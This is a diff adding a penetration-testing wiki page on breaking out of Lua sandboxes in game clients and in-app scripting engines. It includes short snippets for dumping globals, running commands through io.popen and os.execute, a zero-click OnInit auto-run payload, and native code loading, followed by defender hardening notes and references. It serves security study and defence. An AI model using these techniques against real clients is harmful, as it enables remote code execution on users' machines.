|
| 1 | +# Bypass Lua sandboxes (embedded VMs, game clients) |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed. |
| 6 | + |
| 7 | +Key ideas: |
| 8 | +- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable. |
| 9 | +- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results. |
| 10 | +- If io/os is exposed, you often have direct command execution (io.popen, os.execute). |
| 11 | +- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation. |
| 12 | + |
| 13 | +## Enumerate the sandboxed environment |
| 14 | + |
| 15 | +- Dump the global environment to inventory reachable tables/functions: |
| 16 | + |
| 17 | +```lua |
| 18 | +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` |
| 19 | +local function dump_globals(out) |
| 20 | + out("=== DUMPING _G ===") |
| 21 | + for k, v in pairs(_G) do |
| 22 | + out(tostring(k) .. " = " .. tostring(v)) |
| 23 | + end |
| 24 | +end |
| 25 | +``` |
| 26 | + |
| 27 | +- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function: |
| 28 | + |
| 29 | +```lua |
| 30 | +-- Build an output channel using in-game primitives |
| 31 | +local function ButlerOut(label) |
| 32 | + -- Some engines require enabling an audio channel before speaking |
| 33 | + H.PlaySound(0, "r[1]") -- quirk: required before H.Say() |
| 34 | + return function(msg) |
| 35 | + H.Say(label or 1, msg) |
| 36 | + end |
| 37 | +end |
| 38 | + |
| 39 | +function OnMenu(menuNum) |
| 40 | + if menuNum ~= 3 then return end |
| 41 | + local out = ButlerOut(1) |
| 42 | + dump_globals(out) |
| 43 | +end |
| 44 | +``` |
| 45 | + |
| 46 | +Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance. |
| 47 | + |
| 48 | +## Direct command execution if io/os is exposed |
| 49 | + |
| 50 | +If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution: |
| 51 | + |
| 52 | +```lua |
| 53 | +-- Windows example |
| 54 | +io.popen("calc.exe") |
| 55 | + |
| 56 | +-- Cross-platform variants depending on exposure |
| 57 | +os.execute("/usr/bin/id") |
| 58 | +io.popen("/bin/sh -c 'id'") |
| 59 | +``` |
| 60 | + |
| 61 | +Notes: |
| 62 | +- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation. |
| 63 | +- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM). |
| 64 | + |
| 65 | +## Zero-click triggers via auto-run callbacks |
| 66 | + |
| 67 | +If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads: |
| 68 | + |
| 69 | +```lua |
| 70 | +function OnInit() |
| 71 | + io.popen("calc.exe") -- or any command |
| 72 | +end |
| 73 | +``` |
| 74 | + |
| 75 | +Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically. |
| 76 | + |
| 77 | +## Dangerous primitives to hunt during recon |
| 78 | + |
| 79 | +During _G enumeration, specifically look for: |
| 80 | +- io, os: io.popen, os.execute, file I/O, env access. |
| 81 | +- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode. |
| 82 | +- package, package.loadlib, require: dynamic library loading and module surface. |
| 83 | +- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks. |
| 84 | +- LuaJIT-only: ffi.cdef, ffi.load to call native code directly. |
| 85 | + |
| 86 | +Minimal usage examples (if reachable): |
| 87 | + |
| 88 | +```lua |
| 89 | +-- Execute source/bytecode |
| 90 | +local f = load("return 1+1") |
| 91 | +print(f()) -- 2 |
| 92 | + |
| 93 | +-- loadstring is alias of load for strings in 5.1 |
| 94 | +local bc = string.dump(function() return 0x1337 end) |
| 95 | +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode |
| 96 | +print(g()) |
| 97 | + |
| 98 | +-- Load native library symbol (if allowed) |
| 99 | +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") |
| 100 | +local foo = mylib() |
| 101 | +``` |
| 102 | + |
| 103 | +## Optional escalation: abusing Lua bytecode loaders |
| 104 | + |
| 105 | +When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts: |
| 106 | +- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses. |
| 107 | +- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited. |
| 108 | +- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution. |
| 109 | + |
| 110 | +This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games. |
| 111 | + |
| 112 | +## Detection and hardening notes (for defenders) |
| 113 | + |
| 114 | +- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi. |
| 115 | +- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process. |
| 116 | +- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events. |
| 117 | + |
| 118 | +## References |
| 119 | + |
| 120 | +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) |
| 121 | +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) |
| 122 | +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) |
| 123 | +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) |
| 124 | + |
| 125 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments